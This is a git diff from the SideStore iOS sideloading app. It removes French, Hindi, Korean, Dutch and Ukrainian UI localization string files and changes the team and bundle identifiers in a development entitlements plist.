"SettingsView.ConnectedAppleID.name" = "Nom";
|
||||
"SettingsView.ConnectedAppleID.eMail" = "Adresse courriel";
|
||||
"SettingsView.ConnectedAppleID.type" = "Type";
|
||||
"SettingsView.ConnectedAppleID.text" = "Identifiant Apple connecté";
|
||||
"SettingsView.ConnectedAppleID.signOut" = "Déconnexion";
|
||||
"SettingsView.connectAppleID" = "Connecter votre identifiant Apple";
|
||||
"SettingsView.backgroundRefresh" = "Rafraîchissement en arrière plan";
|
||||
"SettingsView.switchToUIKit" = "Changer vers UIKit";
|
||||
"SettingsView.addToSiri" = "Ajouter à Siri...";
|
||||
"SettingsView.debug" = "Déboguer";
|
||||
"SettingsView.swiftUIRedesign" = "Refonte SwiftUI";
|
||||
"SettingsView.credits" = "Crédits";
|
||||
"SettingsView.title" = "Réglages";
|
||||
"SettingsView.refreshingAppsFooter" = "Active la rafraîchissement dans l'arrière plan pour que SideStore soit capable de rafraîchir vos applications dans l'arrière plan lorsque vous êtes connecté au Wi-Fi avec Wireguard activé.";
|
||||
|
||||
/* ConnectAppleIDView */
|
||||
"ConnectAppleIDView.startWithSignIn" = "Connectez-vous avec votre identifiant Apple pour commencer.";
|
||||
"ConnectAppleIDView.signIn" = "Connection";
|
||||
"ConnectAppleIDView.appleID" = "Identifiant Apple";
|
||||
"ConnectAppleIDView.password" = "Mot de passe";
|
||||
"ConnectAppleIDView.connectYourAppleID" = "Connecter votre identifiant Apple";
|
||||
"ConnectAppleIDView.cancel" = "Annuler";
|
||||
"ConnectAppleIDView.failedToSignIn" = "Tentative de connexion échouée";
|
||||
|
||||
/* SourcesView */
|
||||
"SourcesView.sourcesDescription" = "Les sources contiennent des applications qui peuvent être installés avec SideStore.";
|
||||
"SourcesView.remove" = "Enlever";
|
||||
"SourcesView.trustedSources" = "Sources Fiables";
|
||||
"SourcesView.reviewedText" = "L'équipe de SideStore a inspecté ces sources pour vérifier s'ils répondes à nos normes de sécurité.";
|
||||
"SourcesView.sources" = "Sources";
|
||||
"SourcesView.done" = "OK";
|
||||
|
||||
/* AddSourceView */
|
||||
"AddSourceView.sourceURL" = "URL du Source";
|
||||
"AddSourceView.continue" = "Continuer";
|
||||
"AddSourceView.title" = "Ajouter une source";
|
||||
"AppAction.exportBackup" = "Exporter la sauvegarde";
|
||||
"AppAction.restoreBackup" = "Restaurer la sauvegarde";
|
||||
"AppAction.resetIcon" = "Réinitialiser l'icone";
|
||||
|
||||
/* AppDetailView*/
|
||||
"AppDetailView.more" = "Plus...";
|
||||
"AppDetailView.whatsNew" = "Quoi de neuf";
|
||||
"AppDetailView.version" = "Version";
|
||||
"AppDetailView.noPermissions" = "Cette application nécessite aucune permissions.";
|
||||
"AppDetailView.permissions" = "Permissions";
|
||||
|
||||
/* MyAppsView */
|
||||
"MyAppsView.active" = "Active";
|
||||
"MyAppsView.sideloading" = "Installation en cours...";
|
||||
"MyAppsView.refreshAll" = "Rafraîchir tout";
|
||||
"NewsView.Section.FromSources.title" = "De vos Sources";
|
||||
"ConnectAppleIDView.footer" = "Votre identifiant Apple est utilisé pour configurer les applications pour qu'il peuvent être installé sur votre appareil. Les informations de votre compte vont être gardés en sécurité sur votre appareil et sont envoyés uniquement à Apple pour t'authentiquer.";
|
||||
"AppDetailView.noVersionInformation" = "Aucune information sur la version";
|
||||
"SettingsView.ConnectedAppleID.Footer.p1" = "Votre identifiant Apple est requis pour signer les applications que vous installez avec SideStore.";
|
||||
"SettingsView.ConnectedAppleID.Footer.p2" = "Vos informations sont envoyés uniquement aux servers d'Apple et ne sont pas accessibles par l'équipe de SideStore. Les informations de votre compte vont être gardés uniquement sur votre appareil.";
|
||||
"AddSourceView.sourceWarning" = "Entrez l'URL du source ici. En suite, appuyez \"Continuer\" pour valider le source et l'ajouter.";
|
||||
"AddSourceView.sourceWarningContinued" = "Soyez prudent avec des sources non officiels ! Ajoutez seulement des sources que vous jugez fiables.";
|
||||
"ConfirmAddSourceView.sourceURL" = "URL du source";
|
||||
"ConfirmAddSourceView.sourceInfo" = "Informations du source";
|
||||
"ConfirmAddSourceView.addSource" = "Ajouter une source";
|
||||
"AppPillButton.open" = "Ouvrir";
|
||||
|
||||
/* AppAction */
|
||||
"AppAction.install" = "Installer";
|
||||
"AppAction.open" = "Ouvrir";
|
||||
"AppAction.refresh" = "Rafraîchir";
|
||||
"AppAction.activate" = "Activer";
|
||||
"AppAction.deactivate" = "Désactiver";
|
||||
"AppAction.remove" = "Enlever";
|
||||
"AppAction.enableJIT" = "Activer JIT";
|
||||
"AppAction.backup" = "Sauvegarde";
|
||||
"MyAppsView.failedToRefresh" = "Rafraîchissement échoué";
|
||||
"MyAppsView.myApps" = "Mes Applications";
|
||||
"BrowseView.Categories.gamesAndEmulators" = "Jeux et\némulateurs";
|
||||
"MyAppsView.appIDsRemaining" = "Identifiants d'applications restantes";
|
||||
"MyAppsView.apps" = "apps"; /* Keep this lowercase */
|
||||
"MyAppsView.viewAppIDs" = "Voir les identifiants d'applications";
|
||||
|
||||
/* ConfirmAddSourceView */
|
||||
"ConfirmAddSourceView.apps" = "Applications";
|
||||
|
||||
/* AppPillButton */
|
||||
"AppPillButton.free" = "Gratuit";
|
||||
@@ -1,128 +0,0 @@
|
||||
/*
|
||||
Localizable.strings
|
||||
AltStore
|
||||
|
||||
Created by Fabian Thies on 22.12.22.
|
||||
|
||||
Modified by mindfreakdev on 26.12.22
|
||||
|
||||
Copyright © 2022 SideStore. All rights reserved.
|
||||
*/
|
||||
|
||||
|
||||
/* NewsView */
|
||||
"NewsView.title" = "समाचार";
|
||||
"NewsView.Section.FromSources.title" = "अपने सूत्रों से";
|
||||
|
||||
|
||||
/* BrowseView */
|
||||
"BrowseView.title" = "ब्राउज़";
|
||||
"BrowseView.search" = "खोज";
|
||||
"BrowseView.Section.PromotedCategories.title" = "प्रचारित श्रेणियां";
|
||||
"BrowseView.Section.PromotedCategories.showAll" = "सब दिखाएं";
|
||||
"BrowseView.Section.AllApps.title" = "सभी एप्लीकेशन";
|
||||
"BrowseView.Actions.sources" = "सूत्रों का कहना है";
|
||||
"BrowseView.Categories.gamesAndEmulators" = "गेम्स और\nएम्युलेटर्स";
|
||||
|
||||
/* RootView */
|
||||
"RootView.news" = "समाचार";
|
||||
"RootView.browse" = "ब्राउज़";
|
||||
"RootView.myApps" = "मेरी एप्प्स";
|
||||
"RootView.settings" = "समायोजन";
|
||||
|
||||
/* SettingsView */
|
||||
"SettingsView.ConnectedAppleID.name" = "नाम";
|
||||
"SettingsView.ConnectedAppleID.eMail" = "ईमेल";
|
||||
"SettingsView.ConnectedAppleID.type" = "टाइप";
|
||||
"SettingsView.ConnectedAppleID.text" = "कनेक्टेड ऐप्पल आईडी";
|
||||
"SettingsView.ConnectedAppleID.signOut" = "प्रस्थान करें";
|
||||
"SettingsView.ConnectedAppleID.Footer.p1" = "आपके द्वारा SideStore के साथ इंस्टॉल किए गए ऐप्स पर हस्ताक्षर करने के लिए आपकी ऐप्पल आईडी आवश्यक है।";
|
||||
"SettingsView.ConnectedAppleID.Footer.p2" = "आपके क्रेडेंशियल्स केवल Apple के सर्वरों को भेजे जाते हैं और SideStore टीम द्वारा एक्सेस नहीं किए जा सकते हैं। एक बार सफलतापूर्वक लॉग इन करने के बाद, लॉगिन विवरण आपके डिवाइस पर सुरक्षित रूप से संग्रहीत हो जाते हैं।";
|
||||
|
||||
"SettingsView.connectAppleID" = "अपनी ऐप्पल आईडी कनेक्ट करें";
|
||||
"SettingsView.backgroundRefresh" = "बैकग्राउंड रिफ्रेश";
|
||||
"SettingsView.addToSiri" = "सिरी में जोड़ें...";
|
||||
"SettingsView.refreshingApps" = "ताज़ा करने वाले ऐप्स";
|
||||
"SettingsView.switchToUIKit" = "यूआईकिट पर स्विच करें";
|
||||
"SettingsView.resetImageCache" = "छवि कैश रीसेट करें";
|
||||
"SettingsView.debug" = "डिबग";
|
||||
"SettingsView.swiftUIRedesign" = "स्विफ्टयूआई रिडिजाइन";
|
||||
"SettingsView.credits" = "क्रेडिट";
|
||||
"SettingsView.title" = "समायोजन";
|
||||
"SettingsView.refreshingAppsFooter" = "वाई-फाई से कनेक्ट होने और वायरगार्ड सक्रिय होने पर बैकग्राउंड में ऐप्स को स्वचालित रूप से रीफ्रेश करने के लिए बैकग्राउंड रिफ्रेश सक्षम करें।";
|
||||
|
||||
/* ConnectAppleIDView */
|
||||
"ConnectAppleIDView.startWithSignIn" = "आरंभ करने के लिए अपने Apple ID से साइन इन करें।";
|
||||
"ConnectAppleIDView.signIn" = "साइन इन करें";
|
||||
"ConnectAppleIDView.appleID" = "ऐप्पल आईडी";
|
||||
"ConnectAppleIDView.password" = "कुंजिका";
|
||||
"ConnectAppleIDView.whyDoWeNeedThis" = "हमें इसकी ज़रूरत क्यों है?";
|
||||
"ConnectAppleIDView.footer" = "आपकी Apple ID का उपयोग ऐप्स को कॉन्फ़िगर करने के लिए किया जाता है ताकि उन्हें इस डिवाइस पर इंस्टॉल किया जा सके। आपके क्रेडेंशियल इस डिवाइस के कीचेन में सुरक्षित रूप से स्टोर किए जाएंगे और प्रमाणीकरण के लिए केवल Apple को भेजे जाएंगे।";
|
||||
"ConnectAppleIDView.connectYourAppleID" = "अपनी ऐप्पल आईडी कनेक्ट करें";
|
||||
"ConnectAppleIDView.cancel" = "रद्द करना";
|
||||
"ConnectAppleIDView.failedToSignIn" = "साइन इन करने में विफल";
|
||||
|
||||
/* SourcesView */
|
||||
"SourcesView.sourcesDescription" = "स्रोत नियंत्रित करते हैं कि कौन से ऐप्स SideStore के माध्यम से डाउनलोड करने के लिए उपलब्ध हैं।";
|
||||
"SourcesView.remove" = "हटाना";
|
||||
"SourcesView.trustedSources" = "विश्वसनीय स्रोत";
|
||||
"SourcesView.reviewedText" = "SideStore ने यह सुनिश्चित करने के लिए इन स्रोतों की समीक्षा की है कि वे हमारे सुरक्षा मानकों को पूरा करते हैं।";
|
||||
"SourcesView.sources" = "सूत्रों का कहना है";
|
||||
"SourcesView.done" = "पूर्ण";
|
||||
|
||||
/* AddSourceView */
|
||||
"AddSourceView.sourceURL" = "स्रोत यूआरएल";
|
||||
"AddSourceView.sourceWarning" = "कृपया यहां स्रोत url दर्ज करें। फिर, अगले चरण में स्रोत को सत्यापित करने और जोड़ने के लिए जारी रखें पर टैप करें।";
|
||||
"AddSourceView.sourceWarningContinued" = "अमान्य तृतीय पक्ष स्रोतों से सावधान रहें! केवल उन स्रोतों को जोड़ना सुनिश्चित करें जिन पर आप भरोसा करते हैं।";
|
||||
"AddSourceView.continue" = "जारी रखना";
|
||||
"AddSourceView.title" = "स्रोत जोड़ें";
|
||||
|
||||
/* ConfirmAddSourceView */
|
||||
"ConfirmAddSourceView.apps" = "ऐप्स";
|
||||
"ConfirmAddSourceView.newsItems" = "समाचार आइटम";
|
||||
"ConfirmAddSourceView.sourceContents" = "स्रोत सामग्री";
|
||||
"ConfirmAddSourceView.sourceIdentifier" = "स्रोत पहचानकर्ता";
|
||||
"ConfirmAddSourceView.sourceURL" = "स्रोत यूआरएल";
|
||||
"ConfirmAddSourceView.sourceInfo" = "स्रोत की जानकारी";
|
||||
"ConfirmAddSourceView.addSource" = "स्रोत जोड़ें";
|
||||
|
||||
/* AppPillButton */
|
||||
"AppPillButton.free" = "नि शुल्क";
|
||||
"AppPillButton.open" = "खुला";
|
||||
|
||||
/* AppAction */
|
||||
"AppAction.install" = "स्थापित करना";
|
||||
"AppAction.open" = "खुला";
|
||||
"AppAction.refresh" = "ताज़ा करना";
|
||||
"AppAction.activate" = "सक्रिय";
|
||||
"AppAction.deactivate" = "निष्क्रिय करें";
|
||||
"AppAction.remove" = "हटाना";
|
||||
"AppAction.enableJIT" = "सक्रिय JIT";
|
||||
"AppAction.backup" = "बैकअप";
|
||||
"AppAction.exportBackup" = "बैकअप निर्यात करें";
|
||||
"AppAction.restoreBackup" = "बैकअप बहाल";
|
||||
"AppAction.chooseCustomIcon" = "आइकन अनुकूलित करें";
|
||||
"AppAction.resetIcon" = "रीसेट आइकन";
|
||||
|
||||
/* AppDetailView*/
|
||||
"AppDetailView.more" = "अधिक...";
|
||||
"AppDetailView.whatsNew" = "नया क्या है";
|
||||
"AppDetailView.version" = "संस्करण";
|
||||
"AppDetailView.noVersionInformation" = "कोई संस्करण जानकारी नहीं";
|
||||
"AppDetailView.noPermissions" = "ऐप को किसी अनुमति की आवश्यकता नहीं है।";
|
||||
"AppDetailView.permissions" = "अनुमतियां";
|
||||
|
||||
/* AppPermissionGrid */
|
||||
"AppPermissionGrid.usageDescription" = "उपयोग विवरण";
|
||||
|
||||
/* MyAppsView */
|
||||
"MyAppsView.active" = "सक्रिय";
|
||||
"MyAppsView.sideloading" = "साइडलोडिंग प्रगति पर है...";
|
||||
"MyAppsView.refreshAll" = "सभी को रीफ्रेश करें";
|
||||
"MyAppsView.remainingAppID" = "शेष ऐप आईडी";
|
||||
"MyAppsView.appIDsRemaining" = "ऐप आईडी शेष";
|
||||
"MyAppsView.noUpdatesAvailable" = "कोई अपडेट उपलब्ध नहीं";
|
||||
"MyAppsView.failedToRefresh" = "रीफ़्रेश करने में विफल";
|
||||
"MyAppsView.apps" = "ऐप्स"; /* Keep this lowercase */
|
||||
"MyAppsView.viewAppIDs" = "ऐप आईडी देखें";
|
||||
"MyAppsView.myApps" = "मेरी एप्प्स";
|
||||
@@ -1,117 +0,0 @@
|
||||
|
||||
|
||||
"AppAction.enableJIT" = "JIT 사용";
|
||||
"AppAction.backup" = "백업";
|
||||
|
||||
|
||||
/* BrowseView */
|
||||
"BrowseView.title" = "탐럼하기";
|
||||
"BrowseView.search" = "검색";
|
||||
"BrowseView.Section.PromotedCategories.title" = "추천된 앱 종류";
|
||||
"BrowseView.Section.PromotedCategories.showAll" = "모두 보기";
|
||||
"BrowseView.Section.AllApps.title" = "모두 보기";
|
||||
"BrowseView.Actions.sources" = "소스";
|
||||
"BrowseView.Categories.gamesAndEmulators" = "게임과\n에뮬레이터";
|
||||
|
||||
/* RootView */
|
||||
"RootView.news" = "뉴즈";
|
||||
"RootView.browse" = "탐험하기";
|
||||
"RootView.myApps" = "설치된 앱";
|
||||
"RootView.settings" = "설정";
|
||||
"SettingsView.ConnectedAppleID.eMail" = "현재 연동된 Apple ID의 이매일";
|
||||
"SettingsView.ConnectedAppleID.type" = "종류";
|
||||
"SettingsView.ConnectedAppleID.text" = "현재 연동된 Apple ID";
|
||||
"SettingsView.ConnectedAppleID.signOut" = "Apple ID에서 로그아웃하기";
|
||||
"ConfirmAddSourceView.addSource" = "소스추가";
|
||||
|
||||
/* AppPillButton */
|
||||
"AppPillButton.free" = "무료";
|
||||
|
||||
/* AppAction */
|
||||
"AppAction.install" = "설치";
|
||||
"AppAction.open" = "열기";
|
||||
"AppPillButton.open" = "열기";
|
||||
"AppAction.refresh" = "재검색";
|
||||
"AppAction.activate" = "활성화";
|
||||
"AppAction.deactivate" = "비활성화";
|
||||
"AppAction.remove" = "지우기";
|
||||
"ConnectAppleIDView.appleID" = "Apple ID 이메일";
|
||||
"SettingsView.connectAppleID" = "Apple ID와 연동하기";
|
||||
"SettingsView.backgroundRefresh" = "백그라운드 사인";
|
||||
"SettingsView.refreshingApps" = "앱 다시 사인 하는중";
|
||||
"SettingsView.addToSiri" = "시리에 추가하기...";
|
||||
"SettingsView.switchToUIKit" = "UIkit을 사용하기";
|
||||
"SettingsView.resetImageCache" = "사진 다시 연동하기";
|
||||
"SettingsView.debug" = "디버그";
|
||||
"SettingsView.swiftUIRedesign" = "SwiftUI 리디다인";
|
||||
"SettingsView.credits" = "크래딧";
|
||||
"SettingsView.title" = "설정";
|
||||
"ConnectAppleIDView.signIn" = "로그인";
|
||||
"ConnectAppleIDView.password" = "비밀번호";
|
||||
"ConnectAppleIDView.whyDoWeNeedThis" = "정보수집을 왜하지?";
|
||||
"ConnectAppleIDView.connectYourAppleID" = "Apple ID 연동하기";
|
||||
"ConnectAppleIDView.cancel" = "취소";
|
||||
"ConnectAppleIDView.failedToSignIn" = "로그인 실패";
|
||||
"SourcesView.remove" = "삭제";
|
||||
|
||||
/* SourcesView */
|
||||
"SourcesView.sourcesDescription" = "소스는 SideStore에서 설치 가능한 앱을 설정합니다.";
|
||||
"SourcesView.trustedSources" = "검증소스";
|
||||
"SourcesView.reviewedText" = "이 소스는 SideStore에서 점검해 안전한 앱이 있습니다.";
|
||||
"SourcesView.sources" = "소스";
|
||||
"SourcesView.done" = "완료";
|
||||
|
||||
/* AddSourceView */
|
||||
"AddSourceView.sourceURL" = "소스 URL";
|
||||
"AddSourceView.sourceWarningContinued" = "미검증 소스를 함부로 추가하지 마세요.";
|
||||
"AddSourceView.sourceWarning" = "소스 URL을 입력하고, 작동 검증한 뒤 추가해주세요.";
|
||||
"AddSourceView.continue" = "추가";
|
||||
"AddSourceView.title" = "소스 추고";
|
||||
|
||||
/* ConfirmAddSourceView */
|
||||
"ConfirmAddSourceView.apps" = "앱";
|
||||
"ConfirmAddSourceView.newsItems" = "뉴스";
|
||||
"ConfirmAddSourceView.sourceContents" = "소스 내용물";
|
||||
"ConfirmAddSourceView.sourceIdentifier" = "소스 식별";
|
||||
"ConfirmAddSourceView.sourceURL" = "소스 URL";
|
||||
"ConfirmAddSourceView.sourceInfo" = "소스 정보";
|
||||
|
||||
/* NewsView */
|
||||
"NewsView.title" = "뉴스";
|
||||
"NewsView.Section.FromSources.title" = "소스에서";
|
||||
|
||||
/* SettingsView */
|
||||
"SettingsView.ConnectedAppleID.name" = "현재 연동된 Apple ID의 이름";
|
||||
"SettingsView.ConnectedAppleID.Footer.p1" = "이 앱을 사용하려면, Apple ID에 로그인을 해서 앱을 인증을 할 수 있습니다.";
|
||||
"AppAction.exportBackup" = "백업 내보내기";
|
||||
"ConnectAppleIDView.footer" = "당신의 Apple ID는 앱을 설정하여 기기에 설치가 가능하게 합니다. 당신의 개인정보는 디바이스의 Keychain에만 저장되며 애플외 전송되지 않습니다.";
|
||||
"SettingsView.ConnectedAppleID.Footer.p2" = "당신의 개인정보는 애플 외에는 전송되지 않으며, 로그인이 완료된 후에 보안이 강하게 저장됨니다.";
|
||||
"AppAction.restoreBackup" = "백업 받기";
|
||||
"AppAction.chooseCustomIcon" = "아이콘 바꾸기";
|
||||
"SettingsView.refreshingAppsFooter" = "백그라운드 앱 샤로고침 키면 와이파이와 Wireguard가켜진상태에 앱을 라프래쉬합니다.";
|
||||
"AppAction.resetIcon" = "유저 아이콘 삭재";
|
||||
|
||||
/* ConnectAppleIDView */
|
||||
"ConnectAppleIDView.startWithSignIn" = "Apple ID에 로그인을 하여 시작합시다.";
|
||||
"AppDetailView.whatsNew" = "무엇이 새로운가";
|
||||
"AppDetailView.version" = "버전";
|
||||
"AppDetailView.noVersionInformation" = "버전정보 없움";
|
||||
"AppDetailView.noPermissions" = "앱은 추가 기능이 필요 없다.";
|
||||
"AppDetailView.permissions" = "추가 기능";
|
||||
|
||||
/* AppPermissionGrid */
|
||||
"AppPermissionGrid.usageDescription" = "사용량";
|
||||
|
||||
/* MyAppsView */
|
||||
"MyAppsView.active" = "활성화";
|
||||
"MyAppsView.noUpdatesAvailable" = "업데이트 없움";
|
||||
"MyAppsView.failedToRefresh" = "업대이트 실패";
|
||||
|
||||
/* AppDetailView*/
|
||||
"AppDetailView.more" = "더 보기...";
|
||||
"MyAppsView.refreshAll" = "모두 다시 검색";
|
||||
"MyAppsView.appIDsRemaining" = "사용 가능한 App ID 개수";
|
||||
"MyAppsView.apps" = "apps"; /* Keep this lowercase */
|
||||
"MyAppsView.viewAppIDs" = "사용한 App ID보기";
|
||||
"MyAppsView.myApps" = "나의 앱";
|
||||
"MyAppsView.sideloading" = "설치 중...";
|
||||
@@ -1,128 +0,0 @@
|
||||
/*
|
||||
Localizable.strings
|
||||
AltStore
|
||||
|
||||
Created by Fabian Thies on 22.12.22.
|
||||
|
||||
Modified by mindfreakdev on 25.12.22
|
||||
|
||||
Copyright © 2022 SideStore. All rights reserved.
|
||||
*/
|
||||
|
||||
|
||||
/* NewsView */
|
||||
"NewsView.title" = "Nieuws";
|
||||
"NewsView.Section.FromSources.title" = "Van je bronnen";
|
||||
|
||||
|
||||
/* BrowseView */
|
||||
"BrowseView.title" = "Bladeren";
|
||||
"BrowseView.search" = "Zoekopdracht";
|
||||
"BrowseView.Section.PromotedCategories.title" = "Gepromoveerde categorieën";
|
||||
"BrowseView.Section.PromotedCategories.showAll" = "Toon alles";
|
||||
"BrowseView.Section.AllApps.title" = "Alle Apps";
|
||||
"BrowseView.Actions.sources" = "Bronnen";
|
||||
"BrowseView.Categories.gamesAndEmulators" = "Spellen en\nEmulators";
|
||||
|
||||
/* RootView */
|
||||
"RootView.news" = "Nieuws";
|
||||
"RootView.browse" = "Bladeren";
|
||||
"RootView.myApps" = "Mijn apps";
|
||||
"RootView.settings" = "Instellingen";
|
||||
|
||||
/* SettingsView */
|
||||
"SettingsView.ConnectedAppleID.name" = "Naam";
|
||||
"SettingsView.ConnectedAppleID.eMail" = "E-mailen";
|
||||
"SettingsView.ConnectedAppleID.type" = "Type";
|
||||
"SettingsView.ConnectedAppleID.text" = "Verbonden Apple ID";
|
||||
"SettingsView.ConnectedAppleID.signOut" = "Afmelden";
|
||||
"SettingsView.ConnectedAppleID.Footer.p1" = "Uw Apple ID is vereist om de apps te ondertekenen die u met SideStore installeert.";
|
||||
"SettingsView.ConnectedAppleID.Footer.p2" = "Uw inloggegevens worden alleen naar de servers van Apple verzonden en zijn niet toegankelijk voor het SideStore-team. Nadat u succesvol bent ingelogd, worden de inloggegevens veilig op uw apparaat opgeslagen.";
|
||||
|
||||
"SettingsView.connectAppleID" = "Koppel uw Apple ID";
|
||||
"SettingsView.backgroundRefresh" = "Achtergrond Vernieuwen";
|
||||
"SettingsView.addToSiri" = "Toevoegen aan Siri...";
|
||||
"SettingsView.refreshingApps" = "Verfrissende Apps";
|
||||
"SettingsView.switchToUIKit" = "Schakel over naar UIKit";
|
||||
"SettingsView.resetImageCache" = "Stel De Afbeeldingscache Opnieuw In";
|
||||
"SettingsView.debug" = "Debuggen";
|
||||
"SettingsView.swiftUIRedesign" = "SwiftUI Herontwerp";
|
||||
"SettingsView.credits" = "Credits";
|
||||
"SettingsView.title" = "Instellingen";
|
||||
"SettingsView.refreshingAppsFooter" = "Schakel Achtergrondvernieuwing in om apps op de achtergrond automatisch te vernieuwen wanneer ze verbonden zijn met wifi en Wireguard actief is.";
|
||||
|
||||
/* ConnectAppleIDView */
|
||||
"ConnectAppleIDView.startWithSignIn" = "Aanmelden met uw Apple ID om aan de slag te gaan.";
|
||||
"ConnectAppleIDView.signIn" = "Aanmelden";
|
||||
"ConnectAppleIDView.appleID" = "Apple ID";
|
||||
"ConnectAppleIDView.password" = "Wachtwoord";
|
||||
"ConnectAppleIDView.whyDoWeNeedThis" = "Waarom hebben we dit nodig?";
|
||||
"ConnectAppleIDView.footer" = "Uw Apple ID wordt gebruikt om apps te configureren zodat ze op dit apparaat kunnen worden geïnstalleerd. Uw inloggegevens worden veilig opgeslagen in de sleutelhanger van dit apparaat en alleen naar Apple verzonden voor authenticatie.";
|
||||
"ConnectAppleIDView.connectYourAppleID" = "Verbind uw Apple ID";
|
||||
"ConnectAppleIDView.cancel" = "Annuleren";
|
||||
"ConnectAppleIDView.failedToSignIn" = "Aanmelden mislukt";
|
||||
|
||||
/* SourcesView */
|
||||
"SourcesView.sourcesDescription" = "Bronnen bepalen welke apps beschikbaar zijn om te downloaden via SideStore.";
|
||||
"SourcesView.remove" = "Verwijderen";
|
||||
"SourcesView.trustedSources" = "Vertrouwde Bronnen";
|
||||
"SourcesView.reviewedText" = "SideStore heeft deze bronnen beoordeeld om er zeker van te zijn dat ze voldoen aan onze veiligheidsnormen.";
|
||||
"SourcesView.sources" = "Bronnen";
|
||||
"SourcesView.done" = "Gedaan";
|
||||
|
||||
/* AddSourceView */
|
||||
"AddSourceView.sourceURL" = "Bron URL";
|
||||
"AddSourceView.sourceWarning" = "Voer hier de bron-URL in. Tik vervolgens op doorgaan om te valideren en voeg de bron toe in de volgende stap.";
|
||||
"AddSourceView.sourceWarningContinued" = "Wees voorzichtig met niet-gevalideerde bronnen van derden! Zorg ervoor dat u alleen bronnen toevoegt die u vertrouwt.";
|
||||
"AddSourceView.continue" = "Doorgaan";
|
||||
"AddSourceView.title" = "Bron Toevoegen";
|
||||
|
||||
/* ConfirmAddSourceView */
|
||||
"ConfirmAddSourceView.apps" = "Apps";
|
||||
"ConfirmAddSourceView.newsItems" = "Nieuwsberichten";
|
||||
"ConfirmAddSourceView.sourceContents" = "Bron Inhoud";
|
||||
"ConfirmAddSourceView.sourceIdentifier" = "Bron Identificatie";
|
||||
"ConfirmAddSourceView.sourceURL" = "Bron URL";
|
||||
"ConfirmAddSourceView.sourceInfo" = "Bron Informatie";
|
||||
"ConfirmAddSourceView.addSource" = "Bron Toevoegen";
|
||||
|
||||
/* AppPillButton */
|
||||
"AppPillButton.free" = "Vrij";
|
||||
"AppPillButton.open" = "Open";
|
||||
|
||||
/* AppAction */
|
||||
"AppAction.install" = "Installeren";
|
||||
"AppAction.open" = "Open";
|
||||
"AppAction.refresh" = "Vernieuwen";
|
||||
"AppAction.activate" = "Activeren";
|
||||
"AppAction.deactivate" = "Deactiveren";
|
||||
"AppAction.remove" = "Verwijderen";
|
||||
"AppAction.enableJIT" = "Activeer JIT";
|
||||
"AppAction.backup" = "Backup";
|
||||
"AppAction.exportBackup" = "Backup exporteren";
|
||||
"AppAction.restoreBackup" = "Backup terugzetten";
|
||||
"AppAction.chooseCustomIcon" = "Pictogram aanpassen";
|
||||
"AppAction.resetIcon" = "Pictogram resetten";
|
||||
|
||||
/* AppDetailView*/
|
||||
"AppDetailView.more" = "Meer...";
|
||||
"AppDetailView.whatsNew" = "Wat Is Er Nieuw";
|
||||
"AppDetailView.version" = "Versie";
|
||||
"AppDetailView.noVersionInformation" = "Geen versie informatie";
|
||||
"AppDetailView.noPermissions" = "De app vereist geen machtigingen.";
|
||||
"AppDetailView.permissions" = "Rechten";
|
||||
|
||||
/* AppPermissionGrid */
|
||||
"AppPermissionGrid.usageDescription" = "Gebruik Beschrijving";
|
||||
|
||||
/* MyAppsView */
|
||||
"MyAppsView.active" = "Actief";
|
||||
"MyAppsView.sideloading" = "Bezig met sideloaden...";
|
||||
"MyAppsView.refreshAll" = "Ververs Alles";
|
||||
"MyAppsView.remainingAppID" = "Resterende App IDs";
|
||||
"MyAppsView.appIDsRemaining" = "App IDs Resterende";
|
||||
"MyAppsView.noUpdatesAvailable" = "Geen Updates Beschikbaar";
|
||||
"MyAppsView.failedToRefresh" = "Kan niet vernieuwen";
|
||||
"MyAppsView.apps" = "apps"; /* Keep this lowercase */
|
||||
"MyAppsView.viewAppIDs" = "App IDs Bekijken";
|
||||
"MyAppsView.myApps" = "Mijn Apps";
|
||||
@@ -3,18 +3,18 @@
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>application-identifier</key>
|
||||
<string>XYZ0123456.com.SideStore.SideStore</string>
|
||||
<string>A72ZC8AJ5X.com.SideStore.AltStore</string>
|
||||
<key>aps-environment</key>
|
||||
<string>development</string>
|
||||
<key>com.apple.developer.siri</key>
|
||||
<true/>
|
||||
<key>com.apple.developer.team-identifier</key>
|
||||
<string>XYZ0123456</string>
|
||||
<string>A72ZC8AJ5X</string>
|
||||
<key>com.apple.security.application-groups</key>
|
||||
<array>
|
||||
<string>group.com.SideStore.SideStore</string>
|
||||
<string>group.com.SideStore.AltStore</string>
|
||||
</array>
|
||||
<key>get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
</plist>
|
||||
@@ -1,128 +0,0 @@
|
||||
/*
|
||||
Localizable.strings
|
||||
AltStore
|
||||
|
||||
Created by Fabian Thies on 22.12.22.
|
||||
|
||||
Modified by mindfreakdev on 25.12.22
|
||||
|
||||
Copyright © 2022 SideStore. All rights reserved.
|
||||
*/
|
||||
|
||||
|
||||
/* NewsView */
|
||||
"NewsView.title" = "Новини";
|
||||
"NewsView.Section.FromSources.title" = "З ваших джерел";
|
||||
|
||||
|
||||
/* BrowseView */
|
||||
"BrowseView.title" = "переглядати";
|
||||
"BrowseView.search" = "Пошук";
|
||||
"BrowseView.Section.PromotedCategories.title" = "Розширені категорії";
|
||||
"BrowseView.Section.PromotedCategories.showAll" = "Показати все";
|
||||
"BrowseView.Section.AllApps.title" = "Усі додатки";
|
||||
"BrowseView.Actions.sources" = "Джерела";
|
||||
"BrowseView.Categories.gamesAndEmulators" = "Ігри та\nемулятори";
|
||||
|
||||
/* RootView */
|
||||
"RootView.news" = "Новини";
|
||||
"RootView.browse" = "переглядати";
|
||||
"RootView.myApps" = "Мої програми";
|
||||
"RootView.settings" = "Налаштування";
|
||||
|
||||
/* SettingsView */
|
||||
"SettingsView.ConnectedAppleID.name" = "Ім'я";
|
||||
"SettingsView.ConnectedAppleID.eMail" = "Електронна пошта";
|
||||
"SettingsView.ConnectedAppleID.type" = "Тип";
|
||||
"SettingsView.ConnectedAppleID.text" = "Підключений Apple ID";
|
||||
"SettingsView.ConnectedAppleID.signOut" = "Вийти з аккаунта";
|
||||
"SettingsView.ConnectedAppleID.Footer.p1" = "Ваш Apple ID потрібен для підпису програм, які ви встановлюєте за допомогою SideStore.";
|
||||
"SettingsView.ConnectedAppleID.Footer.p2" = "Ваші облікові дані надсилаються лише на сервери Apple і недоступні для команди SideStore. Після успішного входу дані для входу надійно зберігаються на вашому пристрої.";
|
||||
|
||||
"SettingsView.connectAppleID" = "Підключіть свій Apple ID";
|
||||
"SettingsView.backgroundRefresh" = "Фонове оновлення";
|
||||
